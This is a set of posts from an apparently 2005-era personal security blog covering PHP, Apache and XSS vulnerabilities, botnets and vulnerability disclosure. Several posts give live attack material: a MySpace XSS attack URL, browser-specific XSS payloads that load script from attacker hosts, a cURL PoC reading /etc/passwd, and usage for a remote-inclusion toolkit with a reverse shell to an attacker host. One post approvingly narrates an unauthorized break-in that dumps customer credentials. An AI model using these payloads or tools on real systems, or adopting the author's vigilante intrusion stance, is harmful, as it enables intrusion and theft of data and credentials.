4) the remote .js script then uses XML http send commands to execute the malicious part of the worm -- changing first, last, and display names with "g0dOfTheN00se" and injects the malicious .swf file into several parts of the profile, including television.

To execute the XSS attack directly:
http://myspace.com/PROFILE/COMMENTS.CFM?FriendID=6221&getComments.recordcount=
1&TotalComments=1&MyUserID=6221&TheName=XSS

The author also added a little note to users infected by the XSS worm:
"MySpace Aids Is Back Bitch. Merry Christmas From ..!.g0dOfTheNoose.!.. ."

Here is a bit of what the malicious remote .js (JavaScript) file looks like. Its name is "SamyReloaded.js":

The vulnerability itself is in the unsanitized variable "TheName", which should end up embarrassing developers at MySpace, especially after that whole Samy fiasco. They shut down the MySpace site to fix unsanitized variable issues, and I guess passed right along on that one?

As for the usage of a malicious Flash file in the XSS worms propagation was actually a very interesting spreading idea. Since Flash, and other objects are embeddable and accepted on MySpace profiles -- I guess the developers at MySpace did not think about ActionScript being used as an attack vector.

UPDATE: nickg discovered the following: http://www.myspace.com/crossdomain.xml

That file allows for Cross-Domain data-loading, which is discussed here

If MySpace had allowed only domains in their own domain space, this XSS worm would have had a tougher time propagating via the malicious .swf flash files. That does not negate the fact that the XSS vulnerability exists!

UPDATE: Sebastian pointed out to me a Flash decompiler which actually allowed me to see the sort of code used in the malicious .swf file. And no surprise that the .swf file contained literally two lines of code! (I assumed so, since the file was so small; 247+ bytes). Here is a look at the decompiled code:

We see that the author goes as simple as possible, by using the GetURL() function; a simple request to initiate the attack.

Here you see the attack itself, directly to the "TheName" variable. It's amazing how simple that attack was, and how successful it _could_ have been. It's propagation really became unsuccessful simply because it relied heavily on that remote .js file, and all the free hosts the author used to upload the .js file were quickly removing the accounts.

... To be continued.

True Cracks: Breaking 'Child Modeling' ring for fun and profit.

2005-12-15T07:37:00.000-05:00

the following post is the start of a series of stories portraying actual, possible, or fictional penetrations. The post titles will be prefixed with "True Cracks:", and will pertain to keywords specified in its suffix. Enjoy!

TARGET: Child Porn ring "childmodel.ru"

5:41AM-EST: the sky is dark and its wind is chilling. My servers are auricular; their fans are blazing through searing heat as my fingers pound away at keys, like a brigade of storming sun-tzu trained battalions vanishing and appearing causing visual deceit.

While in the midst of research, I noticed a rare message spring up across my terminal; "You have new unread mail!". Stunned, I executed "mail" and spotted the culprit: an email that has a blatantly false sender, a subject entirely in Brazilian, and a body full of JavaScript code refreshing itself so that a remote .scr (windows screen saver) file is executed.

"Hrm. Why would I randomly be sent this malicious email? Is this a direct attack? Is this just part of my email being harvested somewhere and being spammed?" I thought, before quickly visiting the web server hosting the possibly malicious file. It was determined that the server was located in Russia, and the web site in particular was an anarchist's revolutionary propaganda site.

5:46AM-EST: After translating the site, I used SearchMee.com's IP-Hunt and Whois.sc's Reverse-IP Lookup utilities' to determine if any other sites were hosted on the server.

At this point, my calm mood went into abstract disgust as it was realized that the hosts served on the same IP made reference to "Child Models". Before my imagination went too far of itself, I had to check out the sites myself.

"Child Models" is but one of the terms used loosely by Pedophiles who share pictures of barely-clothed children in sexual positions.

While visiting the sites, it was quickly realized that they were in fact linked to suggestive pornography involving children.

5:58AM-EST: When I was able to calm down, concentrate, and think the situation through. I thought of reporting the site, but due to its very innocent looking front I knew it'd make more sense just to explore the system further. Remember that Brazilian email that brought me to this server in the first place? I took the full URL, excluding the windows screen saver file, and explored the listed files in the directory. There were several files, mostly images and such, but the one that caught my attention was "cmd.php".
Executing the script yielded results, as it turned out to be a very simple piece of malicious PHP code for use in remote command execution. The code goes as follows:
Before continuing, let me just emphasize a few facts. First, the vulnerability exploited by the spammer who sent me the original email, was in the PHP-Nuke distribution used on that anarchy revolutionists' site. Secondly, the attacker uploaded the cmd.php script, uploaded her malicious windows screen saver file, and did whatever she did from thereonin. Thirdly, the attacker left the server alone after I repeatedly deleted the malicious file she kept uploading.

6:09AM-EST: I executed a specially crafted reverse shell python code that connected back to a machine I have control of with shell command capability. I noticed I had nobody (99) UID, the server was running Fedora with SELinux secured kernel, and there weren't many SUID binaries on the server, neither were there many overwritable directories or files. I used the 'find' binary to search for all readable files on the server, and the lengthy process proved useless. Permissions throughout the server were tight, though I could read the public_html per user. I managed to discover the primary site of the server, which sold "tokens" to the "model" sites. You could only access the sites' member sections after creating a user account, from the token page located at the primary site.

6:49AM-EST: Since I had a shell with apache privileges, I was able to read the .htaccess, .htpasswd, ttlog.txt (account creation/deletion with plaintext passwords), and configuration files for each site. That proved to be useful, for I was able to dump the entire database containing client email addresses, their passwords, and e-gold identification number -- thanks to the configurations within each site.

... To be continued.

errata of statistics

2005-12-09T19:33:00.000-05:00

I've always been a fan of attrition.org's statistics errata page. why? well, because it brings up a complaint I've had for years and years. the fact is, media companies and corporate research groups bullshit their way through statistics, and in many cases causing FUD (fear, uncertainty, doubt). and when I say 'bullshit', I mean pick numbers out of their asses, or use a generalized number. for example:

Phishing Scams Dupe 70% of Targets

the article above references a study, the following line caught my attention specifically:

Of those receiving the phony e-mails, most thought they might be from legitimate companies. Seven in 10, or 70 percent, were fooled by the e-mails, said the report.

ignore the heap of text after that, and you get to:

The researchers conducted in-home interviews with more than 350 Internet users nationwide. The researchers also reviewed the e-mails received by those households.

350 internet users. the article would be a bit more remotely respectable if it had been titled "Phishing Scams Dupe 70% (out of 350 random Americans) of Targets". It is very dangerous to just simply generalize a percentage from a very minimal number of individuals, in comparison to hundreds of millions of Internet users.

phpMyAdmin <=phpMyAdmin 2.7.0(-rc1) $GLOBALS overwrite

2005-12-07T06:04:00.000-05:00

Stefan Esser released an advisory disclosing a $GLOBALS overwrite bug, similar to that of Mambo server.

this PHP $GLOBALS bug is turning out to be ugly -____-

serious vTiger <=4.2 flaws

2005-12-06T21:47:00.000-05:00

while recently mangling some XSS in vTiger 4.2, I decided to look into the rest of the advisory disclosed by the folks at www.sec-consult.com.

The situation is quite bleak, at this point the developers of vTiger have to rewrite most of that code, or do some serious patch work.

There are barely any sort of sanitizing for variables passed through by users, and same goes for checks going on to verify if a user is accessing module files directly, or not.

From the situation at hand, an attacker can:

1) craft malicious urls for use in XSS against users on the domain
2) execute complex sql queries to read database data, or inject code (rgod style)
3) upload data without authentication or checks
4) execute arbitrary data, thanks to #3
5) read local files, in the form of local inclusion attacks

If you go to the vTiger project page, they reference the fact that over 100,000 downloads of the software has taken place. if that's the case, don't be surprize by another surge of bots, or defacements.

.php.any file extention PHP execution

2005-12-06T01:53:00.000-05:00

on Sun, 04 Dec 2005 22:32:49 -0600, Ron disclosed a possible vulnerability pertaining to Apache+PHP. the scenerio goes as follows:

an attacker is able to upload the file:

example.php.rar (or as it seems, many many many other extensions)

possibly bypassing filters which strip out or rejects files with a .php extension.

the next step, is simply visiting the file you uploaded, and if it contained php code it most likely will get executed.

now, the condition is if the extension, in my example ".rar", is not configured in Apache with a proper mime type, then it seems to be executed under the php engine.

so far replies have pointed out the following affected versions:
Apache 1.3.33
Apache 2.0.54

I've personally verified that the issue works on:
Apache/1.3.33 with PHP 4.4.0 (cli) (built: Oct 22 2005 02:27:37)

I plan on doing my research a bit later on in the morning.. to be continued!

Interaction with *nix-based botnet channel

2005-11-27T23:40:00.000-05:00

in my last post I quickly briefed on the idea of a possible mambo-based worm -- and these days, thats a very trivial task; since there are several templates of worms written with the task of exploiting several holes.

the other night I discovered an automated worm in the process of attacking my personal server. I grabbed the binary used in an attempted code inclusion, and discovered it was a basic kaiten.c binary. it had a default password of "bleh" from the original code, its servers pointed to undernet, and the channel "#uid0".

so, I joined the channel and noticed that there were several high profile machines up there, including ***.*** (which I've tried to contact but to no avail). the worms were going at full blast, for many machines a minute were logging into the channel. all kaiten. now usually when I find a kaiten channel, I tend to be evil and make the bots quit with a simple command. it's actually very trivial to do:

!* KILL

but the channel was in +m (moderated) mode.

I noticed a user on the channel, who had operator status, was running commands on a bot. I whois'd the bot and discovered it was an ***.*** machine. I contacted the user and asked him if he knew that trespassing onto the machine (in much simpler terminology) was illegal. I doubt he cared.

upon further questioning, he revealed the worm they used was running on C++, attacked xmlrpc, ekinboard, phpbb, and a few other web-based vulnerabilities (including mamboserver). he wouldn't show me the source, but I really didn't care anyway.

just another day in the neighborhood..

my prediction (concerning Mambo/PHP flaw)

2005-11-21T10:19:00.000-05:00

as some of you may know, recently there has been a surge of high profile defacements, specifically on servers running Mambo atop versions of PHP that allow for $GLOBALS arrays to be overwritten. I haven't noticed a big surge of media-whoring yet, but during my research on clients its apparent that there are a big percentage of machines affected.

the flaw in PHP basically allows for attackers to overwrite the $GLOBALS array, and with some special crafting an attacker is very much capable of inserting arbitrary data, in the case of Mambo; remote execution in the form of remote inclusion. Stefan Esser of Hardened-PHP disclosed the vulnerability on October 31st. check out the advisory here.

the flaw in Mambo is simply a remote inclusion attack (or local if safemode is on), and is all thanks to it's globals.php globals emulation. the variable that is left vulnerable after the $GLOBALS overwrite is "mosConfig_absolute_path", thanks to the following code:

require_once( $GLOBALS['mosConfig_absolute_path'] . '/includes/HTML_toolbar.php' );

the vulnerablity in Mambo was disclosed by "peter MC tachatte" aka slythers@gmail.com, which btw is a cool dude, as far as our one-email communication goes. the disclosure happened on November 16th.

since then, there has been some major defacement and penetrations going on in several high profile networks -- it was surely bound to happen.

to cut the bullshit, I predict some worms have been written already, or are in the process of being written, and they will attack this vulnerability fiercely. let me just add, that thus far I've seen a high rate of vulnerable servers out there, thanks to this combination of flaws. so pull out your popcorn and tin foil (not aluminum) hats, and enjoy the show.

OSVDB

2005-11-11T19:28:00.000-05:00

for the last few days I've been data mangling vulnerabilities for the Open Source Vulnerability Database. and I must say, although now I have the hang of it -- at first it was a bit stressing -- simply because you don't want to be the person to really mess up on an advisory post.

on one of the first vulnerabilities I mangled. the discloser sent an email to Full Disclosure with a theoretical vulnerability -- as if he knew the flaw in question could be exploited, but he didn't make mention of specific details.

when I received the vulnerability in my queue, I could tell there were a few problems just by reading the original 'advisory'. so, I researched the bug on my own and found four seperate variables that allowed for XSS injection.

I also found more XSS bugs in other parts of the application, which I didn't add because it had nothing to do with his advisory.

the point is, it's not as easy as it looks. and the people involved in the project are actually pretty cool, and put a lot of time into it. much props to Jericho and the rest of the moderators/data manglers.

so, which was the first vulnerability that popped my cherry? well, here it is: HP-UX envd Unspecified Local Privilege Escalation

I have some advisories coming up this week, so be on the look out!

F-Secure Internet Gatekeeper for Linux local root

2005-11-07T21:03:00.000-05:00

I discovered a hole in the F-Secure's Internet Gatekeeper for Linux software package. It takes some special conditions to allow for the attack to be successful. They go as follows:

1) you need local user access to the machine with FSIGK
2) you need executable permissions to the SUID binaries in question
3) you need to have access to a writable directory, in order to create an arbitrary file.

And those are usually trivial conditions to achieve. Here's a link to the Advisory. The exploit is within the advisory, in GnuPG format. Do check on the Tigerteam.se website for the password.

ritk updates to beta 0.2

2005-10-31T07:33:00.000-05:00

this new release of ritk ("remote inclusion toolkit") contains cleaner syntax, some constants set for use in the reverse connection backdoor, and finally the addition of a method to exploit a weakness in PHP's safemode/open_basedir(). The vulnerability was disclosed by slythers@gmail.com and I thought it would be such a neat usage for remote inclusion penetration testing.

the variable to use ritk's new feature is &bypass=1, which currently supports the libcurl means of bypassing safemode/open_basedir. I am in the middle of research to expand the method; for it seems PHP's safemode/open_basedir system is quite flawed.

you can read its README file here

discovering unknown vhosts

2005-10-27T06:30:00.000-04:00

quick and straight to the point.. here are some methods I use to discover "unknown" virtual hosts hosted beside the target domain.

1) whois.sc's reverse ip lookup service

this site actually offers a pretty cool tool in reversing vhosts on specific IP addresses. it offers to show the first three hosts listed for the target IP, and if you would like a more complete list then you'd have to pay ofcourse. the reason I use this service a lot is because it's actually pretty occurate. I've been able to bump into several vulnerable sites hosted on target boxes.

2) searchmee's ip-hunt

searchmee.com actually has a pretty cool tool that actually is able to show you some interesting results. it's able to show you virtual hosts that that have been found by it's search spider residing on a target IP (or range). it's results are all based on cache.

3) google.com + netcraft

a) google can be useful in virtual host enumeration by searching the engine with the target's ip address.

b) netcraft is as easy as you can get when determining possible virtual hosts to a target domain by using special queries into its little search textbox. read up its syntax from the site itself.

there are tools out there that uses several different techniques (usually netcraft+google+other search engines) to find such information.

openbasedir / safemode bypass via GD / cURL

2005-10-18T17:38:00.000-04:00

on Date: Mon, 17 Oct 2005 22:55:26 +0200 a post on Full Disclosure came through to my inbox. "PHP Safedir Restriction Bypass Vulnerabilities" was its title and my reaction was weeee! after reading through the post I realized the vulnerabilities do not affect the core of PHP, but two extensions. GD, and cURL. Exerpts from the post goes as follows:

...

curl openbasedir and safemode bypass.
POC:

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("
file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");

$file=curl_exec($ch);

echo $file;

?>

I always wondered if such an attack was even possible, since I had an understanding that extensions are run under PHP's directives. But now this is interesting -- one has to wonder how many other PHP extensions are capable of bypassing safemode/openbasedir at this instant.

The beginning of XSS worms

2005-10-14T15:25:00.000-04:00

A MySpace user by the name of "Samy" figured out how to slip a XSS attack into a CSS tag. Thus, he was able to successfully exploit 1) a hole in myspace.com's coding, and 2) a large victim base. The attack doesn't seem to be executed by Firefox/Mozilla users, but IE/Opera/Safari and possibly other obscure browsers.

Instead of just stealing a few cookies belonging to victim users, he decided to try his luck at propagating the attack. In fact, he was not only able to have people add him automatically to their friends list, but also the XSS attack itself was written to the victims' own profile thus creating a worm. It spread to the hundreds, then to thousands, until it reached millions. After some time it was fixed up.

Here are some reading material to fill your interests:
http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391
http://www.livejournal.com/community/evan_tech/150019.html (the code itself)
http://blog.outer-court.com/archive/2005-10-14-n81.html (an interview with the author)

case in point #2

2005-10-05T02:10:00.000-04:00

Cross Site Scripting (or XSS) can be used in some serious attacks. In fact XSS was a hot topic for debate when advisories started popping out, and some people didn't really _get_ the problems it could cause. Who thought client-side browsers could be so dangerous! of course, web browsers can't be blamed -- it's all part of the javascript engine.

I remember around that time security folks questioned the validity of XSS attacks, sites like www.cgisecurity.com (then, ran by a friend of mine zenomorph) started releasing very detailed attack examples using hex'd XSS injections, cookie stealing, and so on. People started getting the idea, and thus exploitation began!

Now fast forward from 2000ish, and we'll see that XSS attacks are still common and programmers are still making those same programming mistakes. But now, instead of just stealing sessions or cookies, it can be said that spammers and phishers are using XSS attacks to assist them. Phishers especially are using XSS holes recently found on sites like eBay, and PayPal, to assist them in tricking users of said sites into giving up login credentials -- in the form of redirections, or loading of evil remote site javascript files.

I'd like to showcase some interesting evasion techniques I've found in the wild. Some of them I found on my own, others come from RSnake's awesome research into XSS attacks.

I found that there are a lot of different XSS techniques for different browsers. The reason why the techniques work on one or most web browsers, instead of all, is because of coding practices behind the web browsers. The developers decided to follow protocol, or not, or just disabled features.

Lets look at the obvious XSS that works universally:
"><script>alert("xss")</script><!--

It's a basic XSS attack, in fact it adds a few features like closing any preciding tags, and commenting the superceding site code. It also works on all browsers because it's basic javascript -- it follows protocol. However even the most basic of filtering systems (or server configurations) may use functions like addslashes() which I've seen in a lot of cases.

So, how would one be able to evade the addslashes() function and still be able to execute across most to all browsers? using the iframe feature. The following is an example:
"><iframe src=http://www.attacker.com></iframe>

The iframe injection XSS technique actually passes through addslashes() safely because there are no null bytes, single or double quotes in it.

If the target site has no filtering, but you need to target only a specific group of users -- by browser, then you can use the following examples:

Opera:
I've noticed this following XSS attack is only executed automatically by the Opera web browser, while Internet Explorer and Firefox do not do so:
<IMG SRC=javascript:alert("XSS")>

Internet Explorer:
Here are only a few examples of _many_ that execute only in Internet Explorer:
<IMG SRC="jav ascript:alert('XSS');">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>

Firefox:
I've noticed that Firefox doesn't really have many or any Firefox-specific XSS attacks.

Internet Explorer and Opera:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC=" javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<TABLE BACKGROUND="javascript:alert('XSS')">
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}

Internet Explorer and Firefox:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

Internet Explorer, Firefox, and Opera:
<IFRAME SRC="javascript:alert('XSS');">
<SCRIPT>document.write("PT SRC="http://YOUR-SERVER.tld/a.js">

I've noticed the last example works amazingly well in many oddball situations. I found it on RSnake's site, and think it's pretty cool. It works on the three mentioned browsers and who knows how many others. I also see that it has the potential to bypass many badly coded filtering systems out there. addslashes() kills it, due to the quotes, though.

Recently I discovered an odd occurance with ASP.NET servers. As some may know, ASP.NET does filtering on incoming variables for all sorts of attacks; XSS in my case. Once I attempted to inject any sort of XSS attack it errored and displayed a message about the danger potential the arbitrary code may have. So, by playing with a null byte, and new line feeds I was able not only to inject a XSS attack but also bypass ASP.NET's security mechanism. The following are screen shots of the attack:

First, we see the reaction the server had to my injection:

Now the following screen shot references a sophisticated XSS attack. I figured out that if I entered a null byte (%00) after a valid page ID integer (27 in this case, or whatever really) I could inject a new line feed(%0a), alert(), another newline and finally set a null variable to fix the Javascript code I broke while injecting my XSS attack in the first place. And voila, a neat XSS attack! Now, here's the odd part -- if I removed the null byte from the equasion the entire attack becomes unsuccessful.

Now, the attack on this target site became successful because of several reasons. 1) the developer outputs the page ID in a javascript evaluation. and 2) ASP.NET allows null byte's and other hex'd ascii representation to be executed.

Until next time!

Python + input() fun

2005-09-29T20:31:00.000-04:00

As written from the Python manual:
input([prompt])
Equivalent to eval(raw_input(prompt)). Warning: This function is not safe from user errors! It expects a valid Python expression as input; if the input is not syntactically valid, a SyntaxError will be raised. Other exceptions may be raised if there is an error during evaluation.

So, it simply evaluates incoming input, and will error if it does not comform to proper syntax. Have you ever logged into a server and got faced with a nologin script some admin wrote to remind you that money is owed on the account? or to request shell access?

If you put in: "import os; os.system('touch /tmp/peepee')", you will most likely see an ugly exception being rased:
Traceback (most recent call last):
File "", line 1, in ?
File "", line 1
import os; os.system('touch /tmp/peepee')
^
SyntaxError: invalid syntax

Lame! no spaces can be used in the evaluated code. Hmm. Ley's try a dynamic import: "__import__('os').system('touch /tmp/peepee')". Oh, that worked. I'm not sure wether or not the fact dynamic imports+executions are a feature or just some strange bug in input() but if imports of modules and executions were planned through input() it wouldn't have raised an exception on the attempts before. Unless, of course, it's some bug.

case in point #1

2005-09-23T01:09:00.000-04:00

from time to time I'll throw up these "case in point" posts to talk a bit about holes that I've found in the current day. I'll leave the product names out, but it'll be an interesting read nonetheless.

so today I was doing a quick audit on an internal development box. it was once used for some extreme usage, but faded away into the network's obscure hidden world as soon as another solution jumped in the spotlight. in any case, the box was given to me to play with and try funky things.

before doing anything serious, I wanted to see how secure it was locally. it turns out there was a coorperate anti-virus product installed for scanning of incoming email. unfortunately it is coupled with some lame web interface that can be used by the administrator to do things from rebooting the box via web, or edit templates.

I noticed something odd though -- many of the scripts were executed via C-written and compiled suid wrappers. and their primary purpose is just to execute specific perl scripts. fine, we see (or saw) those kind of setups all the time -- it was no big deal. so I inspected the perl scripts to find they all shared a common line of code:

require "./filefullof.functions"

ERROR!

thus here lies a very serious security hole. the coorperate software in question bundles a bunch of unnessesary perl scripts. then, these scripts are bundled with suid wrappers to assist them during executions. and finally, the perl scripts themselves call functions from another script improperly -- calling from a file in the current directory and not from an absolute one.

mhm. that's bad. in fact, one softlink later and rogue "./filefullof.functions" created -- you've just taken over an inheritance of suid.

advisory+exploit coming soon to a terminal near you!

some thoughts on web security (PHP)

2005-09-20T21:10:00.000-04:00

Even before the whole register_globals mess, sites were being exploited in many more ways than one. And it seems to me that although there has been plenty of public disclosure, discussion, and finally penetration due to the carelessness in development, many PHP developers seem to lack coding practices that are needed to avoid the common security holes in todays web-based software.

There is a lot of documentation out there that site developers could use to improve upon their own coding practices -- but what perplexes me is that somehow after all the years of penetration, and people losing their jobs, and data being stolen, or data being destroyed, the situation stays the same. There are potentially millions of sites out there with some kind of security hole, from the highest level (code execute) to the lowest (sensitive data/path disclosure).

So, what is the solution?

Finding a solution for the problem will not be easy, because no matter what the situation; people will make mistakes. Proper coding practice must be established. Manuals, whitepapes, tutorials, books, ebooks, any document of any sort that discusses web development especially via an interpreted language like PHP, should contain valid examples of how to set variables and execute things properly, even in the case of PHP's register_globals being turned ON.

Open Source projects that rely on interpreted languages like PHP for example should be audited from the get go before any public releases are made. There should be some sort of public organization that with the assistance of several security-minded folks, can queue standard security audits via automation and finally before acceptance will audit the code manually to make sure nothing slipped through. Such an organization could be used to not only discover holes before they reach the public domain, but also educate the developers and the public about strange and odd vulnerabilities that might arise.

I understand that there are too many projects going on, and some projects are extremely large and may take some serious time to audit. But I'm sure a structure can be put together to handle the stress. Look at OSVDB, they have an interesting setup where vulnerabilities will be passed along a group of security-minded individuals who will research the said vulnerability in the noted software, and to an extent either audit the software or verify the vulnerabilities are present.

Also, besides education and community wide auditing I also think that a warning system inside of PHP would be nice. I refer not to its exception handling, nor its error reporting but to a function that'll evaluate the code and disclose a warning to developers (during debugging most preferably) if any security flaws are possible.

Here is an example of a session between a developer and the PHP interpreter:

Server A has register_globals = ON. And safe mode is turned OFF.
Then, the developer writes something like the following:

... other code here ...

if ($GoingToBeIncluded) {
include($GoingToBeIncluded)
}
... other code here ...

PHP before executing evaluates this code, and brings up the red flag about possible remote inclusion vulnerabilities. It can also suggest a solution, in case the developer is a bit mature. A solution to the code above would be to assign the variable to an empty string, if its not meant to actually be executed maliciously.

I'm thinking such evaluation can be done within the scope of the lint function already within the PHP language. I bet it'll be a pain in someones ass to code, though. :)

ritk.php

2005-09-12T22:42:00.000-04:00

(r)emote (i)nclusion (t)ool(k)it is a small php script I put together in use for
some remote inclusion auditing I was assigned to do. Surely there are numerous
scripts out there for similar usage, but I found many of them were badly coded.
Or were just over-coded. I also never really got into PHP coding too much, so it
was a perfect oppurtunity to try it out. You can grab it here, and the following
reference of its functionalities:

features:

1) "ft" (function test)
desc: a command execution test, using 5 different functions.
usage: ?&ptk.php?&ft=1
optional: append "&ftc=COMMAND" after the ft variable. replace COMMAND with
a command. the default command used is "id".

2) execute a command.
desc: execute a specific command.
usage: ?&meth=METHOD&ftc=COMMAND
replace "METHOD" with the methods listed below.

3) remotely download and save a file to local disk.
desc: the title says it best.
usage: ?&saveas=/tmp/test&grab=http://site.tld/path/file

4) src show
desc: in case the php dist has safemode enabled, you can then rely
on file reading.
usage: ?&src=/etc/passwd

5) phpinfo
desc: sometimes you need to know some configuration details, and
phpinfo() suits that need.
usage: ?&pinfo=1

6) reverse shell
desc: on servers with php sockets enabled, you can utilize this feature to
possibly bypass any firewalls with strict incoming filters. this reverse
shell function is also cool because the php script is being executed
remotely, and thus no data is saved to the target's disk. thus forensic
investigations wouldn't be so useful in disclosing the reverse shell source.
but don't forget the http logs involved, duh.
usage: ?&rvs=1&rvsto=attacker.host.tld&rvsp=port-number

execution methods:
1) system()
2) exec()
3) passthru()
4) shell_exec()
5) popen()

there is much more to go.. :)

The formulation of my security insights

2005-09-10T08:25:00.000-04:00

hej! I am finally putting this idea of mine together! well, as the blog description says -- this public space will be used for the output of my insights regarding all aspects of Security. I will post my ideas, thoughts, advisories (most likely those I am involved with), opinions, and so on. I don't expect much traffic, but for those who end up here somehow -- I do hope you enjoy the read.